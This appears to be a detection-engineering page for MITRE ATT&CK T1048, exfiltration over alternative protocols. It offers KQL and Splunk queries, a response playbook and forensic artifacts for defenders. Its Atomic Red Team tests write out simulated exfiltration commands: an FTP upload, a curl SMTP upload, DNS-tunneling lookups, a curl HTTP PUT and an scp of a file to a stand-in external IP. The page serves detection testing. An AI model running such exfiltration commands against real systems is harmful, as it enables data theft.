Exfiltration Over Alternative Protocol
Adversaries may steal data by exfiltrating it over a different protocol than that used for command and control. Data may be sent over FTP, SMTP, DNS, SMB, HTTP/S, or any other network protocol not serving as the primary C2 channel. Adversaries often encrypt or obfuscate these alternate channels. Common tools include curl, ftp.exe, WinSCP, and built-in OS utilities. DNS tunneling (encoding data in DNS query subdomains) is a particularly stealthy variant used by malware families like FrameworkPOS. IaaS and SaaS platforms (Exchange, SharePoint, GitHub, AWS S3) can also serve as exfiltration endpoints via cloud APIs or direct downloads.
What is T1048 Exfiltration Over Alternative Protocol?
Exfiltration Over Alternative Protocol (T1048) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.
This page provides production-ready detection logic for Exfiltration Over Alternative Protocol, covering the data sources and telemetry it touches: Process: Process Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
- Canonical reference
- https://attack.mitre.org/techniques/T1048/
let ExfilTools = dynamic(["ftp.exe", "curl.exe", "winscp.exe", "pscp.exe", "sftp.exe", "ncftp.exe", "lftp", "wget.exe", "bitsadmin.exe", "robocopy.exe"]);
let SuspiciousFTPPatterns = dynamic(["-T ", "--upload-file", "PUT ", "STOR ", "ftp://", "sftp://", "ftps://"]);
let ExfilPorts = dynamic([21, 22, 25, 465, 587, 989, 990, 2222, 2121]);
// Branch 1: Suspicious exfil tool usage with upload indicators
let ToolBased = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ (ExfilTools)
| where ProcessCommandLine has_any (SuspiciousFTPPatterns)
or ProcessCommandLine has_any ("-o ", "--output", "-F ", "--form", "smtp://", "smtps://", "--mail-from", "--mail-rcpt")
| extend DetectionBranch = "ExfilToolUpload"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine, DetectionBranch;
// Branch 2: Outbound connections on exfil-relevant ports from non-standard processes
let NetworkBased = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemoteIPType == "Public"
| where RemotePort in (ExfilPorts)
| where InitiatingProcessFileName !in~ ("svchost.exe", "lsass.exe", "services.exe", "System",
"Outlook.exe", "thunderbird.exe", "filezilla.exe", "winsshd.exe")
| where InitiatingProcessFileName !startswith "MicrosoftEdge"
| summarize BytesSent=sum(SentBytes), Connections=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| where BytesSent > 1048576 or Connections > 10
| extend DetectionBranch = "SuspiciousOutboundPort"
| project FirstSeen, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteIP, RemotePort, RemoteUrl, BytesSent, Connections, DetectionBranch;
// Branch 3: DNS tunneling — long subdomains or high DNS query volume to single domain
let DNSTunneling = DeviceNetworkEvents
| where Timestamp > ago(24h)
| where ActionType == "DnsQueryResponse" or ActionType == "ConnectionSuccess"
| where RemotePort == 53
| where RemoteIPType == "Public"
| extend QueryLength = strlen(RemoteUrl)
| where QueryLength > 50
| summarize QueryCount=count(), MaxQueryLen=max(QueryLength), Domains=make_set(RemoteUrl, 20)
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1h)
| where QueryCount > 20 or MaxQueryLen > 100
| extend DetectionBranch = "DNSTunnelingSuspect"
| project Timestamp, DeviceName, InitiatingProcessFileName, QueryCount, MaxQueryLen, Domains, DetectionBranch;
ToolBased
| union NetworkBased
| union DNSTunneling
| sort by Timestamp desc Multi-branch detection for T1048 Exfiltration Over Alternative Protocol targeting Microsoft Defender for Endpoint telemetry. Branch 1 identifies upload activity by known exfiltration tools (curl, ftp.exe, WinSCP, bitsadmin) with upload-specific flags. Branch 2 detects outbound network connections on FTP/SMTP/SSH ports from unusual initiating processes carrying significant data volume. Branch 3 identifies DNS tunneling via abnormally long DNS query subdomains or high-frequency DNS queries to a single external resolver — a pattern used by FrameworkPOS and similar malware to encode data in DNS lookups.
Data Sources
Required Tables
False Positives
- IT administrators using curl or WinSCP for legitimate file transfers to managed SFTP/FTP endpoints
- Backup agents (Veeam, Commvault, Acronis) initiating large outbound transfers to cloud storage over non-HTTP protocols
- DevOps pipelines using scp/sftp/ftp in CI/CD scripts for artifact deployment or release publishing
- Security tools and vulnerability scanners performing outbound SMTP or FTP tests as part of scheduled assessments
- Email clients (Outlook, Thunderbird) generating high SMTP/SMTPS traffic during mass mail campaigns or automated notifications
Sigma rule & cross-platform mapping
The detection logic for Exfiltration Over Alternative Protocol (T1048) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1048
References (6)
- https://attack.mitre.org/techniques/T1048/
- http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
- https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1048/T1048.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection
Testing Methodology
Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1FTP Upload via Windows Built-in FTP Client
Expected signal: Sysmon Event ID 1: Process Create with Image=ftp.exe, CommandLine containing '-s:%TEMP%\df00tech-ftp.txt'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:21 from ftp.exe. Sysmon Event ID 11: File create for the ftp script file in TEMP.
- Test 2curl SMTP Exfiltration Simulation
Expected signal: Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing '--mail-from', '--mail-rcpt', '--upload-file', 'smtp://'. Sysmon Event ID 3: Network Connection to 127.0.0.1:25 from curl.exe. The connection will fail but telemetry events fire.
- Test 3DNS Tunneling Simulation via Long Subdomain Queries
Expected signal: Sysmon Event ID 22 (DNS Query): 25 events with QueryName containing long base64-encoded subdomains (>50 characters) under df00tech-test.com. DNS queries will fail to resolve (NXDOMAIN) but the DNS telemetry events are generated by the Sysmon DNS query logging provider.
- Test 4curl Upload via HTTP PUT (Alternative Protocol Exfiltration)
Expected signal: Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing '-X PUT', '-T', and 'http://127.0.0.1:8888'. Sysmon Event ID 3: Network Connection to 127.0.0.1:8888. Sysmon Event ID 11: File Create for exfil_test.txt in TEMP directory.
- Test 5SCP File Exfiltration via OpenSSH (Linux/macOS)
Expected signal: Auditd EXECVE record for scp with arguments including the destination host and port. Network connection event to 198.51.100.1:22. On systems with Sysmon for Linux: Process Create event (EventCode=1) for scp binary, Network Connect (EventCode=3) for the outbound SSH connection attempt.
Response Playbook
Triage
- Identify the protocol and destination: Review the destination IP/port and reverse-lookup the domain. Is this a known file-sharing service, cloud storage provider, or unknown external host? Check the IP against threat intelligence feeds (VirusTotal, Shodan, AbuseIPDB).
- Quantify the transfer volume: How many bytes were sent? Review DeviceNetworkEvents SentBytes aggregated per session. Transfers over 10 MB from an endpoint process warrant escalation, especially from processes not normally associated with file transfer.
- Examine the initiating process: What process initiated the connection? Is it curl, ftp.exe, WinSCP, or an unexpected process (e.g., lsass.exe, notepad.exe)? Review the full command line — does it include upload flags (-T, --upload-file, PUT, STOR)?
- Check DNS query length and frequency (DNS tunneling triage): Pull Sysmon Event ID 22 logs for the host over the past 24 hours. Calculate the average query length. Legitimate DNS rarely exceeds 40 characters per label; tunneling tools often generate 60-100+ character base32/base64-encoded subdomains. High query rate (>100/hour) to a single domain is a strong indicator.
- Correlate with staging activity: Was there recent file archiving, compression, or collection activity on the host? Look for 7z.exe, WinRAR, tar, zip, or Compress-Archive in DeviceProcessEvents within the 2 hours before the suspected exfiltration event.
- Review the user and logon context: Is the account associated with the transfer a service account, privileged user, or regular employee? Did the user log on interactively at the time? Review DeviceLogonEvents and AADSignInLogs for anomalies such as impossible travel or new device sign-on.
- Check for FTP/SMTP connections from servers: Exfiltration via SMTP or FTP from servers (especially those running MSSQL, SharePoint, IIS) is highly suspicious. Servers rarely initiate outbound email independently.
Containment
- Isolate the endpoint at the network layer: Use EDR network isolation (MDE: Device Actions > Isolate device) or apply a host firewall rule blocking all outbound traffic except management protocols. Preserve the isolation until investigation is complete.
- Block the destination at the network perimeter: Submit the destination IP, domain, and port to the proxy/firewall team for immediate blocking. If SMTP-based, notify the mail gateway team to trace the sending address and block outbound relay to the identified domain.
- Revoke credentials for the involved account: If a user account or service account initiated the transfer, disable it in Active Directory and revoke all OAuth tokens, session tokens, and API keys associated with it. For cloud accounts, revoke credentials in AAD/AWS IAM immediately.
- Preserve volatile evidence before isolation: Before isolating, trigger a memory acquisition using the EDR's live response capability (MDE: Collect investigation package) to capture running processes, network connections, and process memory.
- Notify data classification and legal teams: If the volume suggests a material data breach, notify your data protection officer and legal team per your incident response plan. Document the estimated data volume and classification of potentially exfiltrated files.
- Search for lateral movement: Run a query across all endpoints for the same tool execution or same C2 destination within the past 7 days to determine if exfiltration is isolated or part of a broader campaign.
Evidence Collection
- DeviceNetworkEvents (MDE): SentBytes, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessCommandLine for all connections from the affected device in the 48 hours before detection.
- Sysmon Event ID 3 (Network Connect): SourceIp, DestinationIp, DestinationPort, Image, CommandLine from the host's Windows Event Log — confirms process-to-network attribution.
- Sysmon Event ID 22 (DNS Query): All DNS queries from the host — critical for DNS tunneling investigation. Export the full QueryName field for length analysis and domain enumeration.
- DeviceProcessEvents (MDE): All process creation events for the affected user and device in the 6 hours before the alert — look for staging tools (7z, WinRAR, tar) and collection utilities preceding the exfiltration.
- DeviceFileEvents (MDE): Files created or modified before the transfer — especially archives (.zip, .7z, .tar.gz, .rar) or files written to temp directories, USB mount points, or unusual paths.
- Proxy / web gateway logs: Pull outbound HTTP/HTTPS/FTP logs for the source IP from the proxy. These may reveal exact URLs, file names, and total bytes transferred with timestamps.
- Network flow data (NetFlow/IPFIX): If available, capture full 5-tuple flow records for the source IP in the relevant time window. Flow data reveals true volume and session duration even if packet content is encrypted.
- Email gateway logs (if SMTP exfiltration): Pull SMTP session logs from your mail gateway. Identify the envelope sender/recipient, subject, attachment count, and attachment sizes. Recover email bodies and attachments if possible.
- FTP server logs (if destination is known): If the destination FTP server is attacker-controlled, you may retrieve artifacts from threat intelligence or law enforcement. If internal, pull FTP service logs showing STOR commands and transferred filenames.
Escalation Criteria
- ! Data volume exceeds 100 MB transferred to an external, non-corporate destination — indicates substantial data loss regardless of protocol.
- ! DNS tunneling confirmed: query subdomain lengths consistently >60 characters, high query frequency (>50/hour), and all queries to a single external authoritative nameserver not associated with a known CDN or service.
- ! Sensitive data pathways involved: process accessed known-sensitive locations (C:\Users\*\Documents, SYSVOL, database data directories, source code repositories) within 2 hours of the exfiltration event.
- ! Exfiltration tool executed by a non-interactive process: curl.exe or ftp.exe spawned by a web server process (w3wp.exe, httpd, nginx), database (sqlservr.exe), or service with no legitimate transfer use case.
- ! Destination IP matches active threat intelligence: VirusTotal malicious score, known APT infrastructure, or identified in a current threat report.
- ! Multiple hosts showing the same exfiltration pattern: indicates an automated campaign or worm-like spread rather than a single compromised workstation.
Investigation Guide
Forensic Artifacts
- >
File System: %USERPROFILE%\AppData\Roaming\WinSCP.ini and WinSCP.rnd — WinSCP session history including remote hosts, usernames, and transferred file paths. - >
File System: %USERPROFILE%\AppData\Local\Temp\*.tmp — staging archives created before transfer, may retain evidence even after deletion (check $MFT for unlinked entries). - >
Registry: HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions — WinSCP saved session configuration including hostnames and usernames. - >
Registry: HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions — PuTTY/PSCP saved session hosts. - >
File System: curl command history in PowerShell PSReadLine history at %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt. - >
Network: Wireshark/pcap captures from the host's NIC at the time of the event — if available via network TAP or inline security device, plain-text FTP sessions will show STOR commands and file content. - >
Windows Prefetch: C:\Windows\Prefetch\FTP.EXE-*.pf, WINSCP.EXE-*.pf, CURL.EXE-*.pf — execution timestamps and loaded DLLs confirming tool usage. - >
Sysmon Event ID 11 (File Create): Archives or compressed files created in TEMP, Desktop, or unusual paths in the hours preceding the exfiltration event. - >
DNS cache (on the host): Run 'ipconfig /displaydns' or parse the DNS cache hive to identify recently resolved external domains associated with the transfer destination. - >
FTP client logs: FileZilla stores transfer logs at %APPDATA%\FileZilla\logs\. WinSCP stores session logs if logging was configured. - >
Linux/macOS — ~/.bash_history or ~/.zsh_history: curl, ftp, sftp, scp, rsync commands with flags and destination URLs. Also check /tmp for staging files.
Tuning Guidance
The primary tuning challenge for T1048 is distinguishing legitimate administrative file transfers from malicious exfiltration. Start by inventorying all systems, accounts, and processes with a documented business need for FTP, SFTP, or SMTP outbound connections. Build an allowlist of approved source IP ranges, destination domains, and service account names — then exclude these from Branch 2 (network-based) detections. For Branch 1 (tool-based), consider that curl.exe and bitsadmin.exe are frequently used by patch management and monitoring agents; narrow the detection by requiring upload-specific flags (-T, --upload-file, --form, --mail-rcpt) rather than flagging all curl executions. For DNS tunneling (Branch 3), the 50-character threshold aggressively filters most CDN and cloud service endpoints; however, some AWS service discovery DNS names and Akamai CDN entries can approach this length. Tune by excluding known CDN provider domains (cloudfront.net, akamaiedge.net, fastly.net) and evaluate raising the threshold to 60-70 characters with a minimum query frequency of >30/hour before alerting. The highest-fidelity signal remains the staging-then-exfiltration hunt query — organizations with no legitimate bulk transfer requirements should treat any match as high-priority.
Hunting Queries
Hunt for processes generating high-volume or multi-destination outbound connections on exfiltration-relevant ports (FTP, SMTP, SSH) from unexpected initiating processes. Identifies cases where exfiltration tooling may have been renamed or injected into legitimate processes. Threshold of 5MB sent or >10 sessions reduces noise from sporadic legitimate activity.
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where RemotePort in (21, 22, 25, 465, 587, 989, 990, 2121, 2222)
| where InitiatingProcessFileName !in~ ("svchost.exe", "System", "lsass.exe",
"Outlook.exe", "thunderbird.exe", "filezilla.exe", "openssh.exe")
| summarize TotalBytesSent=sum(SentBytes), Sessions=count(),
UniqueDestinations=dcount(RemoteIP),
DestinationPorts=make_set(RemotePort),
RemoteHosts=make_set(RemoteUrl, 10)
by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where TotalBytesSent > 5242880
| extend MBSent = round(TotalBytesSent / 1048576.0, 2)
| sort by TotalBytesSent desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationPort=21 OR DestinationPort=22 OR DestinationPort=25 OR DestinationPort=465
OR DestinationPort=587 OR DestinationPort=989 OR DestinationPort=990 OR DestinationPort=2121)
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="172.16.*" OR DestinationIp="127.*")
NOT (Image="*\\Outlook.exe" OR Image="*\\thunderbird.exe" OR Image="*\\svchost.exe"
OR Image="*\\lsass.exe" OR Image="*\\filezilla.exe")
| stats count as Sessions, dc(DestinationIp) as UniqueDestinations, values(DestinationPort) as Ports
by host, User, Image, CommandLine
| where Sessions > 10 OR UniqueDestinations > 3
| sort - Sessions Hunt specifically for DNS tunneling by analyzing the first subdomain label length and uniqueness. DNS tunneling tools like dnscat2, iodine, and FrameworkPOS encode data in base32/base64 as the leftmost subdomain label, producing labels >40 characters with high cardinality. This query identifies hosts generating many long, high-entropy DNS queries per hour — a pattern not seen in normal DNS resolution. Filter by known-good domains to reduce CDN and cloud service false positives.
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 53
| where RemoteIPType == "Public"
| extend DomainParts = split(RemoteUrl, ".")
| extend SubdomainPart = tostring(DomainParts[0])
| extend SubLen = strlen(SubdomainPart)
| where SubLen > 40
| summarize LongQueries=count(), MaxLen=max(SubLen),
SampleDomains=make_set(RemoteUrl, 5),
UniqueSubdomains=dcount(SubdomainPart)
by DeviceName, InitiatingProcessFileName, bin(Timestamp, 1h)
| where LongQueries > 5 or UniqueSubdomains > 10
| extend EntropyHint = iff(UniqueSubdomains > 20, "HIGH - likely encoding", "MEDIUM - investigate")
| sort by LongQueries desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=22
NOT (QueryName="*.microsoft.com" OR QueryName="*.windows.com" OR QueryName="*.google.com"
OR QueryName="*.amazon.com" OR QueryName="*.office365.com" OR QueryName="*.azure.com")
| eval SubLabel=mvindex(split(QueryName, "."), 0)
| eval SubLen=len(SubLabel)
| where SubLen > 40
| bin _time span=1h
| stats count as LongQueryCount, max(SubLen) as MaxSubLen,
dc(SubLabel) as UniqueSubdomains, values(QueryName) as SampleDomains
by host, User, Image, _time
| where LongQueryCount > 5 OR UniqueSubdomains > 10
| eval EntropyHint=if(UniqueSubdomains > 20, "HIGH - likely encoding", "MEDIUM - investigate")
| sort - LongQueryCount Hunt for the staging-then-exfiltration sequence: archive/compression tool activity followed within 2 hours by outbound transfer on exfil-relevant ports from the same account and device. This behavioral chain (collect → stage → exfiltrate) is a reliable indicator of deliberate data theft. Correlates T1560 (Archive Collected Data) with T1048 in a time-bounded join to surface the full kill chain.
let StagingIndicators = DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("7z.exe", "7za.exe", "WinRAR.exe", "rar.exe", "zip.exe", "compact.exe", "tar.exe")
| where ProcessCommandLine has_any ("a ", "-a", "add", "compress")
| project StagingTime=Timestamp, DeviceName, AccountName, StagingCmd=ProcessCommandLine;
let ExfilIndicators = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIPType == "Public"
| where RemotePort in (21, 22, 25, 465, 587, 989, 990) or SentBytes > 1048576
| project ExfilTime=Timestamp, DeviceName, AccountName,
RemoteIP, RemotePort, SentBytes, InitiatingProcessCommandLine;
StagingIndicators
| join kind=inner ExfilIndicators on DeviceName, AccountName
| where ExfilTime > StagingTime and ExfilTime < datetime_add('hour', 2, StagingTime)
| extend MinutesGap = datetime_diff('minute', ExfilTime, StagingTime)
| project StagingTime, ExfilTime, MinutesGap, DeviceName, AccountName,
StagingCmd, InitiatingProcessCommandLine, RemoteIP, RemotePort, SentBytes
| sort by StagingTime desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
(Image="*\\7z.exe" OR Image="*\\7za.exe" OR Image="*\\WinRAR.exe" OR Image="*\\rar.exe" OR Image="*\\compact.exe")
(CommandLine="*\sa\s*" OR CommandLine="*add*" OR CommandLine="*-a*")
| eval StagingTime=_time
| table host, User, Image, CommandLine, StagingTime
| join type=inner host, User
[search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationPort=21 OR DestinationPort=22 OR DestinationPort=25 OR DestinationPort=465 OR DestinationPort=587)
NOT (DestinationIp="10.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| eval ExfilTime=_time
| table host, User, Image AS ExfilImage, CommandLine AS ExfilCmd, DestinationIp, DestinationPort, ExfilTime]
| where ExfilTime > StagingTime AND ExfilTime < StagingTime + 7200
| eval MinutesGap=round((ExfilTime - StagingTime) / 60, 1)
| table host, User, CommandLine, ExfilCmd, DestinationIp, DestinationPort, StagingTime, ExfilTime, MinutesGap
| sort - StagingTime Atomic Red Team Tests
Uses the Windows built-in ftp.exe to initiate an upload (STOR command) to a local FTP listener. Simulates the OilRig/PoetRAT pattern of using OS-native FTP utilities for exfiltration. Requires a local FTP server or netcat listener on port 21 to accept the connection (connection will be attempted regardless).
Command
echo open 127.0.0.1 21 > %TEMP%\df00tech-ftp.txt && echo user anonymous anonymous >> %TEMP%\df00tech-ftp.txt && echo put %TEMP%\df00tech-ftp.txt >> %TEMP%\df00tech-ftp.txt && echo quit >> %TEMP%\df00tech-ftp.txt && ftp -s:%TEMP%\df00tech-ftp.txt Cleanup
del %TEMP%\df00tech-ftp.txt 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=ftp.exe, CommandLine containing '-s:%TEMP%\df00tech-ftp.txt'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:21 from ftp.exe. Sysmon Event ID 11: File create for the ftp script file in TEMP.
Expected Detection
Branch 1 alert fires on ftp.exe with upload pattern. KQL: FileName='ftp.exe', ProcessCommandLine has '-s:'. SPL: Image matches *\\ftp.exe with CommandLine containing upload flags.
Uses curl to simulate SMTP-based data exfiltration, mirroring the PoetRAT technique of sending collected data via email. The command attempts to connect to a local SMTP listener; the connection will fail if no listener is present but the process creation and network events are generated regardless. Simulates attaching a file via --data-binary with SMTP.
Command
curl.exe --url "smtp://127.0.0.1:25" --mail-from "[email protected]" --mail-rcpt "[email protected]" --upload-file %TEMP%\df00tech-ftp.txt -v 2>&1 | Out-Null Cleanup
del %TEMP%\df00tech-ftp.txt 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing '--mail-from', '--mail-rcpt', '--upload-file', 'smtp://'. Sysmon Event ID 3: Network Connection to 127.0.0.1:25 from curl.exe. The connection will fail but telemetry events fire.
Expected Detection
Branch 1 alert fires on curl.exe with --mail-from and --mail-rcpt flags matching SMTP exfiltration pattern. KQL/SPL: ProcessCommandLine has_any ('smtp://', '--mail-from', '--mail-rcpt', '--upload-file').
Simulates DNS tunneling by issuing nslookup queries with base64-encoded subdomain labels that exceed the 50-character threshold used by the detection. This replicates how tools like dnscat2 and iodine encode data in DNS query subdomains. No actual tunnel is established — this only generates the DNS telemetry that triggers the detection.
Command
for /L %i in (1,1,25) do nslookup aGVsbG93b3JsZHRoaXNpc2FkbnN0dW5uZWx0ZXN0cGF5bG9hZA%i.df00tech-test.com 8.8.8.8 Expected Telemetry
Sysmon Event ID 22 (DNS Query): 25 events with QueryName containing long base64-encoded subdomains (>50 characters) under df00tech-test.com. DNS queries will fail to resolve (NXDOMAIN) but the DNS telemetry events are generated by the Sysmon DNS query logging provider.
Expected Detection
Branch 3 / DNS tunneling hunting query fires: 25 DNS queries within a short window with subdomain label length >50 characters. KQL: DNSTunnelingSuspect branch triggers with QueryCount=25, MaxQueryLen>50. SPL: EventCode=22 with SubLen>40, LongQueryCount>5.
Uses curl to perform an HTTP PUT upload to simulate exfiltration of a collected file to an attacker-controlled server over HTTP on a non-standard port — a pattern seen in TeamTNT operations. The request targets localhost on port 8888; no listener needed to generate telemetry.
Command
echo SensitiveData > %TEMP%\exfil_test.txt && curl.exe -X PUT -T %TEMP%\exfil_test.txt http://127.0.0.1:8888/upload/exfil_test.txt -H "X-Token: 1234" -v Cleanup
del %TEMP%\exfil_test.txt 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=curl.exe, CommandLine containing '-X PUT', '-T', and 'http://127.0.0.1:8888'. Sysmon Event ID 3: Network Connection to 127.0.0.1:8888. Sysmon Event ID 11: File Create for exfil_test.txt in TEMP directory.
Expected Detection
Branch 1 partially triggers on curl.exe with '-T' (upload flag). Network branch detects outbound connection on non-standard port 8888. For real external destinations, BytesSent threshold would also fire. SPL: Image=curl.exe, CommandLine matches '-T\s' upload pattern.
Simulates exfiltration using scp (Secure Copy), an SSH-based file transfer utility. This technique is used by Play ransomware and TeamTNT to exfiltrate collected data to actor-controlled servers. Attempts to copy a test file to a remote host over port 22. The connection will fail if no target exists but process and network events are generated.
Command
echo 'sensitive_data_simulation' > /tmp/df00tech_exfil_test.txt && scp -P 22 -o StrictHostKeyChecking=no -o ConnectTimeout=5 /tmp/df00tech_exfil_test.txt [email protected]:/tmp/ 2>/dev/null; echo 'SCP test complete' Cleanup
rm -f /tmp/df00tech_exfil_test.txt Expected Telemetry
Auditd EXECVE record for scp with arguments including the destination host and port. Network connection event to 198.51.100.1:22. On systems with Sysmon for Linux: Process Create event (EventCode=1) for scp binary, Network Connect (EventCode=3) for the outbound SSH connection attempt.
Expected Detection
Linux-focused detection: auditd rule monitoring execve for scp/sftp with external destinations. Network monitoring detects outbound TCP/22 to external public IP from non-service process. Correlate with preceding file creation events to confirm staging pattern.
Related Detections
Tactic Hub
Detection Variants (1)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.